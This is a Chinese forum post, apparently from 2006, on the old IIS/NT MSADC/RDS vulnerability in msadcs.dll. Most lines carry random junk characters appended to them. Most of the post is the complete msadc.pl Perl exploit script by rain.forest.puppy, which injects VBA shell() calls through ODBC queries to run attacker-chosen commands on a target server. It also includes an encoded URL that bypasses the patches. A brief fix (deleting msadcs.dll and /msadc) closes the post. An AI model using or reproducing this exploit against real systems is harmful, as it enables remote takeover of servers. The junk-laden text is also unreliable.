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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Qe_+r(3)k  
ThtMRB)9  
涉及程序: 4iwf\#  
Microsoft NT server v{r1E]rY  
iecWa:('  
描述: /^Y[*5  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 GjEqU;XBi  
G%;kGi`m  
详细: IAYACmlN&  
如果你没有时间读详细内容的话,就删除: ]a M-p@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll w^3|(F  
有关的安全问题就没有了。 6.[)`iF+#  
?H`j>]%&  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 =LOk13l\"  
vHS2q >  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 guU=NQZ  
关于利用ODBC远程漏洞的描述,请参看: +s ULo  
#G[t X6gU  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^+wk  
m~;B:LN<  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 !~)90Z!  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp u\f3qc,]F  
})P O7:  
这里不再论述。 d .p'pGL  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ;= a_B1"9u  
`%Q&</X  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 6AAswz'$P  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! F_ 81l<  
U9 bWU'  
33 : @*  
#将下面这段保存为txt文件,然后: "perl -x 文件名" okstY4f'  
p-xd k|'[  
#!perl D^|9/qm$  
# w//omF'`  
# MSADC/RDS 'usage' (aka exploit) script yPoSJzC=[  
# gGEIK0\{  
# by rain.forest.puppy eeW`JG-E  
# Kk=LXmL2  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Yk'm?p#~  
# beta test and find errors! J#''q"rZ  
n}JPYu  
use Socket; use Getopt::Std; 9Sz7\W0  
getopts("e:vd:h:XR", \%args); ALXTR%f  
TdFT];:  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; wG8 nw;  
f0DK>L  
if (!defined $args{h} && !defined $args{R}) { 0elxA8Z~e  
print qq~ wx*1*KZ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } <!F3s`7~  
-h <host> = host you want to scan (ip or domain) 6WeM rWx  
-d <seconds> = delay between calls, default 1 second !p',Za   
-X = dump Index Server path table, if available 7 \X$7  
-v = verbose &?y7I Pp  
-e = external dictionary file for step 5 RkA8  
WI&lj<*  
Or a -R will resume a command session gw+eM,Yp  
&iBNO,v  
~; exit;} !zR)D|w&  
1'Rmg\(  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Xh}&uZ`A  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 9 I{/zKq  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8Q=ZH=SQK  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ezUQ> e  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} RYy,wVh}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } pawl|Z'Ez  
aCl A{  
if (!defined $args{R}){ $ret = &has_msadc; UV@0gdy[  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} G?xJv`"9iC  
Bd# TUy  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" O,'#C\   
. "cmd /c "; E7`qmn  
$in=<STDIN>; chomp $in; {[W(a<%bXm  
$command="cmd /c " . $in ; ]Lm'RlV  
C6]OAUXy:F  
if (defined $args{R}) {&load; exit;} "%@v++4y  
X{\jK]O  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ),` 8eQC  
&try_btcustmr; ix&'0IrX*  
lP3h<j  
print "\nStep 2: Trying to make our own DSN..."; orqJ[!u)`  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; y' [LNp V  
Z9[+'ZWt  
print "\nStep 3: Trying known DSNs..."; ||Y<f *  
&known_dsn; ~=cmM  
z_&P?+"Df  
print "\nStep 4: Trying known .mdbs..."; S-c ^eLzQ  
&known_mdb; }`_(<H  
2hq\n<  
if (defined $args{e}){ >;9NtoE  
print "\nStep 5: Trying dictionary of DSN names..."; IZrk1fh  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } t,<UohL|z  
(>7>3  
print "Sorry Charley...maybe next time?\n"; x)oRSsv!Tr  
exit; :FHA]oec1  
Ej"u1F14J  
############################################################################## B(,:haAr  
ue\t,*KYd  
sub sendraw { # ripped and modded from whisker `]<`$71w  
sleep($delay); # it's a DoS on the server! At least on mine... ^B]@Lr E^  
my ($pstr)=@_; izuF !9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || L'E^c,-x~  
die("Socket problems\n"); fYX<d%?7  
if(connect(S,pack "SnA4x8",2,80,$target)){ eV2mMSY  
select(S); $|=1; =w%Oa<  
print $pstr; my @in=<S>; ej^3Y Nh&  
select(STDOUT); close(S); e fO jTA%  
return @in; eB]R3j{  
} else { die("Can't connect...\n"); }}  rLv;Y  
Ia4)uV8  
############################################################################## #fDs[  
@ D[`Oj)  
sub make_header { # make the HTTP request /X#z*GX  
my $msadc=<<EOT \TbVS8e^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 eR;!(Oy=A  
User-Agent: ACTIVEDATA 5/@UVY9_  
Host: $ip uQ3[Jz`y  
Content-Length: $clen orfp>B) 0  
Connection: Keep-Alive <Ef[c@3  
h-QLV[^  
ADCClientVersion:01.06 :Li/=>R^  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 {vVTv SC  
r:g9Z_  
--!ADM!ROX!YOUR!WORLD! +ts0^;QO2{  
Content-Type: application/x-varg ue{xnjw>U  
Content-Length: $reqlen ,={t8lN  
{' 5qv@3  
EOT wT_h!W  
; $msadc=~s/\n/\r\n/g; $kPHxD!"  
return $msadc;} ^3~e/PKM  
@_yoX(.E&  
############################################################################## ]l;*$2w)  
1[PMDS_X  
sub make_req { # make the RDS request bw S*]!*  
my ($switch, $p1, $p2)=@_; z&}-8JykH  
my $req=""; my $t1, $t2, $query, $dsn; go'j/4Tp  
DBgMC"_   
if ($switch==1){ # this is the btcustmr.mdb query ^jSsa  
$query="Select * from Customers where City=" . make_shell(); T@ YGB]*Y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . `u_Qa  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} [hh/1[   
/aqEJGG>  
elsif ($switch==2){ # this is general make table query 3z8C  
$query="create table AZZ (B int, C varchar(10))"; `I;F$`\  
$dsn="$p1";} K5 KyG  
,6"l(]0  
elsif ($switch==3){ # this is general exploit table query K$[$4 dX]  
$query="select * from AZZ where C=" . make_shell(); U[\Vj_?(I  
$dsn="$p1";} z5 m>H;P  
>n*\bXf  
elsif ($switch==4){ # attempt to hork file info from index server J/x2qQ$9  
$query="select path from scope()"; Ak BMwV  
$dsn="Provider=MSIDXS;";} P'$ `'J]j  
@g-Tk  
elsif ($switch==5){ # bad query v"O5u%P  
$query="select"; e2)autBe  
$dsn="$p1";} I4c!m_sr  
<L0#O(L  
$t1= make_unicode($query); r4XH =  
$t2= make_unicode($dsn); G| m4m.  
$req = "\x02\x00\x03\x00"; H9 tXSh  
$req.= "\x08\x00" . pack ("S1", length($t1)); A\sI<WrH  
$req.= "\x00\x00" . $t1 ; 7 hw .B'7  
$req.= "\x08\x00" . pack ("S1", length($t2)); 04@cLDX8uB  
$req.= "\x00\x00" . $t2 ; RHY4P4B<v>  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 9 c3E+  
return $req;} Dr#c)P~Wd  
8Ogv9  
############################################################################## F -gE<<  
=;L*<I  
sub make_shell { # this makes the shell() statement uGP(R=H  
return "'|shell(\"$command\")|'";} >Aq:K^D/3F  
zJN7<sv  
############################################################################## BlC<`2S  
KY9n2u&4  
sub make_unicode { # quick little function to convert to unicode =:I+6PlF@  
my ($in)=@_; my $out; ,H kj1x  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } AC- )BM';  
return $out;} ]0j9>s2|Z  
Z;DCI-Wg  
############################################################################## dJk9@u  
4=<*Vd`p  
sub rdo_success { # checks for RDO return success (this is kludge) [ .,>wo~  
my (@in) = @_; my $base=content_start(@in); LlYTv% I  
if($in[$base]=~/multipart\/mixed/){ 2I'~2o  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} kUl  
return 0;} 6g:|*w  
WcUJhi^\C  
############################################################################## r6.d s^  
L,_.$1d  
sub make_dsn { # this makes a DSN for us a[!%L d  
my @drives=("c","d","e","f"); 7(a2L&k^  
print "\nMaking DSN: "; t0E51Ic@  
foreach $drive (@drives) { 0\QR!*'$  
print "$drive: "; g_.^O$}  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . m_NCx]#e   
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" mEAXM 1J|  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @x&P9M0g  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; E,[xUz"  
return 0 if $2 eq "404"; # not found/doesn't exist &(pjqV  
if($2 eq "200") { Lxl_"k G  
foreach $line (@results) { I:j3sy  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _8?o'<!8?^  
} return 0;} =r. >N\  
/F/;G*n  
############################################################################## XP?rOOn  
ssQ BSbx  
sub verify_exists { 2\<.0  
my ($page)=@_; 3251Vq %  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 1R%1h9I4'  
return $results[0];} 2[yBD-":  
N:5[,O<m_  
############################################################################## |UUdz_i!:  
r?$ ?;%|C  
sub try_btcustmr { w}cY6O,1  
my @drives=("c","d","e","f"); dl]#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); W7No ls{  
ki]ti={12  
foreach $dir (@dirs) { k ]a*&me  
print "$dir -> "; # fun status so you can see progress [\z/Lbn ,.  
foreach $drive (@drives) { $% k1fa C  
print "$drive: "; # ditto 1 jb/o5n;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; F\JUx L@8  
$reqlenlen=length( "$reqlen" ); K95;rd  
$clen= 206 + $reqlenlen + $reqlen; %3Z/+uT@v]  
kSncZ0K{  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); e&<yX  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 0ezYdS~o  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} {Tp2H_EG  
+>f<EPGn  
############################################################################## Q 9F)  
W&Y"K)`  
sub odbc_error { VyLH"cCv  
my (@in)=@_; my $base; (=x"Y{%  
my $base = content_start(@in); D@ek9ARAq  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this I27,mS+]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #o`Ny4sq/  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ` |Z}2vo;j  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; kma?v B  
return $in[$base+4].$in[$base+5].$in[$base+6];} coE&24,0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; .x83Ah`  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . B^ 7eoW  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} r),PtI0X  
sN=6gCau  
############################################################################## >p\e 0n  
`6=-WEo  
sub verbose { &]6) LFm  
my ($in)=@_; gxNL_(A  
return if !$verbose; <=K qc Hb  
print STDOUT "\n$in\n";} 6 ,ANNj  
6aft$A}XnD  
############################################################################## _o3e]{  
&?,U_)x/  
sub save {  (t^n'V  
my ($p1, $p2, $p3, $p4)=@_; ~:4kU/]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; -NGK@Yk22  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?i\;:<e4  
close OUT;} uYI@ 9U  
y^>Q/H\  
############################################################################## ,~PYt*X4  
4<,|*hAT  
sub load { ;F:fM!l=  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; vsB*rP=  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ;i uQ?MR3  
@p=<IN>; close(IN); . RVVWqW  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Njc%_&r  
$target= inet_aton($ip) || die("inet_aton problems"); dhPKHrS  
print "Resuming to $ip ..."; XUMX*  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; w&h 2y4  
if($p[1]==1) { ed 59B)?l  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Q[n\R@  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 3Mjj' 5KH!  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 6c4&VW  
if (rdo_success(@results)){print "Success!\n";} 'fV%Z  
else { print "failed\n"; verbose(odbc_error(@results));}} xg`h40c  
elsif ($p[1]==3){ 9Ru;`  
if(run_query("$p[3]")){ uLeRZSC  
print "Success!\n";} else { print "failed\n"; }} j1$8#/r;c  
elsif ($p[1]==4){ 0rSIfYZa  
if(run_query($drvst . "$p[3]")){ 4Aes#{R3v  
print "Success!\n"; } else { print "failed\n"; }} #U7_a{cn"M  
exit;}  ,*id'=S  
Y qdWctUY  
############################################################################## >B -q@D  
AIl4]F5I  
sub create_table { ~!iQ6N?PY  
my ($in)=@_; B/f0P(7  
$reqlen=length( make_req(2,$in,"") ) - 28;  }alj[)  
$reqlenlen=length( "$reqlen" ); <~emx'F|  
$clen= 206 + $reqlenlen + $reqlen; l U]un&[N  
my @results=sendraw(make_header() . make_req(2,$in,"")); rsNf$v-*  
return 1 if rdo_success(@results); BbOu/i|  
my $temp= odbc_error(@results); verbose($temp); or*HC&c7  
return 1 if $temp=~/Table 'AZZ' already exists/; =v~1qWX  
return 0;} AnsjmR:Jv  
:t$aN|>y  
############################################################################## ihe(F7\U  
9v )%dO.  
sub known_dsn { bKVj[r8D~  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go %y[1H5)3<  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", A?!I/|E^;  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 7Ey#u4Q  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); j`*N,*ha  
r{Rg920  
foreach $dSn (@dsns) { yTM3^R(  
print "."; V3N0Og3  
next if (!is_access("DSN=$dSn")); cR{>IH4^  
if(create_table("DSN=$dSn")){ 4'pS*v  
print "$dSn successful\n"; :PY tR  
if(run_query("DSN=$dSn")){ .lG5=Th!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { PaB!,<A  
print "Something's borked. Use verbose next time\n";}}} print "\n";} *4Fr&^M\  
-4#2/GXNO  
############################################################################## ^n.WZUk  
ws/63 d*  
sub is_access { 1nhtM  
my ($in)=@_; 5~ 'Ie<Y_  
$reqlen=length( make_req(5,$in,"") ) - 28; *ZSdl 0e  
$reqlenlen=length( "$reqlen" ); A~ (l{g  
$clen= 206 + $reqlenlen + $reqlen; 2(!fg4#+  
my @results=sendraw(make_header() . make_req(5,$in,"")); KU9Z"9#  
my $temp= odbc_error(@results); )vB2!H/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !<@J6??a}s  
return 0;} h&@R| N  
:c[n\)U[aa  
############################################################################## R>@uY( >dJ  
( n{wg(R  
sub run_query { vH %gdpxX  
my ($in)=@_; 9Mm!%Hu  
$reqlen=length( make_req(3,$in,"") ) - 28; N[|Nxm0z/C  
$reqlenlen=length( "$reqlen" ); .y5,x\Pq(  
$clen= 206 + $reqlenlen + $reqlen; {NM+Oj,~'  
my @results=sendraw(make_header() . make_req(3,$in,"")); ;!@EixN-YH  
return 1 if rdo_success(@results); 7cg*|E@  
my $temp= odbc_error(@results); verbose($temp); U_yE& 6 T  
return 0;} E .6HpIx  
ra '  
############################################################################## $3+PbYY  
wmr-}Y!9u%  
sub known_mdb { VzS&`d.h  
my @drives=("c","d","e","f","g"); ^D67y%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2 -!L _W(  
my $dir, $drive, $mdb; VxO%rq3  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #b0{#^S:  
?ne_m:J[  
# this is sparse, because I don't know of many f2)XP$:  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 7YWNd^FI V  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 0\{BWNK  
"\\system32\\certmdb.mdb", %Tn#-  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% IputF<p  
}_.:+H!@  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 1m<RwI3s  
"\\cfusion\\cfapps\\forums\\forums_.mdb", t6N*6ld2b  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 0Rxe~n1o  
"\\cfusion\\cfapps\\security\\realm_.mdb", em@EDMvI  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Jhkvd<L8`m  
"\\cfusion\\database\\cfexamples.mdb", 1MkI0OZE  
"\\cfusion\\database\\cfsnippets.mdb", XhU@W}}  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", T".]m7!  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Mc sTe|X  
"\\cfusion\\brighttiger\\database\\cleam.mdb", -7>)i  
"\\cfusion\\database\\smpolicy.mdb", ("7M b{  
"\\cfusion\\database\cypress.mdb", *mG`_9  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", i?;r7>  
"\\website\\cgi-win\\dbsample.mdb", g8;D/  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", mo]KCi  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" `RQ#.   
); #these are just 1,y&d}GW  
foreach $drive (@drives) { FeJr\|FT  
foreach $dir (@dirs){ tYW>t9  
foreach $mdb (@sysmdbs) { d~tuk4F  
print "."; kW=z+  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ P%pp )BS  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; }WFf''Z-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ XdgUqQb}  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Hq&"+1F  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 4NVV5_K a  
e>'H IO  
foreach $drive (@drives) { ^u)z{.z'H/  
foreach $mdb (@mdbs) { qf'm=efRyu  
print "."; uw\1b.r'B  
if(create_table($drv . $drive . $dir . $mdb)){ Ru!He,k7  
print "\n" . $drive . $dir . $mdb . " successful\n"; @pV5}N[]  
if(run_query($drv . $drive . $dir . $mdb)){ z(RL<N%  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; n ?[/ufl  
} else { print "Something's borked. Use verbose next time\n"; }}}} Zzua17  
} &6 -k#r  
4tA_YIv  
############################################################################## Die-@z|Y  
}|)R   
sub hork_idx { 2 mjV~  
print "\nAttempting to dump Index Server tables...\n"; lB8il2&  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; p(SRjQt  
$reqlen=length( make_req(4,"","") ) - 28; kW3E =pr  
$reqlenlen=length( "$reqlen" ); [ Mg8/Oy  
$clen= 206 + $reqlenlen + $reqlen; 2pHR_mrb  
my @results=sendraw2(make_header() . make_req(4,"","")); ,n,RFa  
if (rdo_success(@results)){ =64r:E  
my $max=@results; my $c; my %d; Eq% @"-m o  
for($c=19; $c<$max; $c++){ D,l,`jv*  
$results[$c]=~s/\x00//g; fr6^nDY  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; _Yb _D/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ~0"p*?^  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; N8cAqr  
$d{"$1$2"}="";} 5}ie]/[|  
foreach $c (keys %d){ print "$c\n"; } =iB,["s  
} else {print "Index server doesn't seem to be installed.\n"; }} KP;(Q+qTx  
}Y(]6$uS  
############################################################################## $V>98M>j  
!H][LXB~H  
sub dsn_dict { ^^` Jcd/  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &>WWzikB*  
while(<IN>){ "e3["'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; "tit\a6\(  
next if (!is_access("DSN=$dSn")); \h<BDk*  
if(create_table("DSN=$dSn")){ <hnCUg1  
print "$dSn successful\n"; l2%bF8]z  
if(run_query("DSN=$dSn")){ -a Gcf]6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { f},oj4P\  
print "Something's borked. Use verbose next time\n";}}} ^he=)rBb?  
print "\n"; close(IN);} >M!xiQX  
Wx'Kp+9'  
############################################################################## +eX)48  
S&C1TC  
sub sendraw2 { # ripped and modded from whisker X8eJ4%  
sleep($delay); # it's a DoS on the server! At least on mine...  q}Z3?W  
my ($pstr)=@_; FxG7Pk+=  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6Z?j AXGSq  
die("Socket problems\n"); @xsP5je]  
if(connect(S,pack "SnA4x8",2,80,$target)){ aMARZ)V  
print "Connected. Getting data"; v;#=e$%}MO  
open(OUT,">raw.out"); my @in; {@}?k s5  
select(S); $|=1; print $pstr; .Jb$l$5'w  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} b<I9 MR  
close(OUT); select(STDOUT); close(S); return @in; 5y2? f  
} else { die("Can't connect...\n"); }} iyZZ}M  
r9 y.i(j  
############################################################################## kyh_9K1  
u D 5%E7  
sub content_start { # this will take in the server headers TfxwVPX  
my (@in)=@_; my $c; ,''cNV  
for ($c=1;$c<500;$c++) { jg  2qGC  
if($in[$c] =~/^\x0d\x0a/){ ^ OJyN,A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } t-u|U(n  
else { return $c+1; }}} =bh*[ , -  
return -1;} # it should never get here actually ~H)4)r^  
$v.C0 x  
############################################################################## 9_ICNG%  
M/PFPJ >`  
sub funky { 9n]|PEoAB  
my (@in)=@_; my $error=odbc_error(@in); p5=|Y^g !  
if($error=~/ADO could not find the specified provider/){ ?8dVH2W.  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; qJ!Z~-hS  
exit;} 39U5jj7i  
if($error=~/A Handler is required/){ +eQe%U  
print "\nServer has custom handler filters (they most likely are patched)\n"; $m1<i?'m  
exit;} YIt9M,5/Q  
if($error=~/specified Handler has denied Access/){ M x5`yT7  
print "\nServer has custom handler filters (they most likely are patched)\n"; %HQ.|  
exit;}} FFhtj(hVgc  
1 "TVRb  
############################################################################## =6FUNvP#8  
z><5R|Gf  
sub has_msadc { o{v&.z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +1C3`0(  
my $base=content_start(@results); E9j+o y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); IJOvnZ("A  
return 0;} rn@`yTw^  
U;_[b"SW%  
######################## 4Ph0:^i_  
vP%tk s+.  
~ jU/<~s  
解决方案: Hi! Jj  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 80}+MWdo  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 dBsX*}C  
_R|Ify#J  
拿出来充数 哈哈
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